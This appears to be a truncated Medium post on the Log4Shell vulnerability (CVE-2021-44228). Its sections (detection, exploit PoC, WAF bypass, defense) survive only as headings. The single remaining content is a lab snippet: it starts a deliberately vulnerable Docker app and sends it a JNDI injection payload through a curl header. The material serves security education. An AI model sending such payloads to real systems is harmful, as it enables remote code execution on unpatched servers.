[AppSec] Log4Shell (CVE-2021–44228)

Source: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

What is Log4J?

Why is it critical?

What is the vulnerability?

How to identify the vulnerability?

How to mitigate?

Detecting PoC:

Exploit PoC:

RCE Payload PoC:

Log4Shell WAF Bypass:

Labs / Vulnerable App:

# Running the server
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
# Exploit
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

Defense:

--

--

OSWE | OSCE | OSCP | CREST | Lead Offensive Security Engineer — All about Penetration Test, Red Team, Cloud Security, Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
bigb0ss

OSWE | OSCE | OSCP | CREST | Lead Offensive Security Engineer — All about Penetration Test, Red Team, Cloud Security, Web Application Security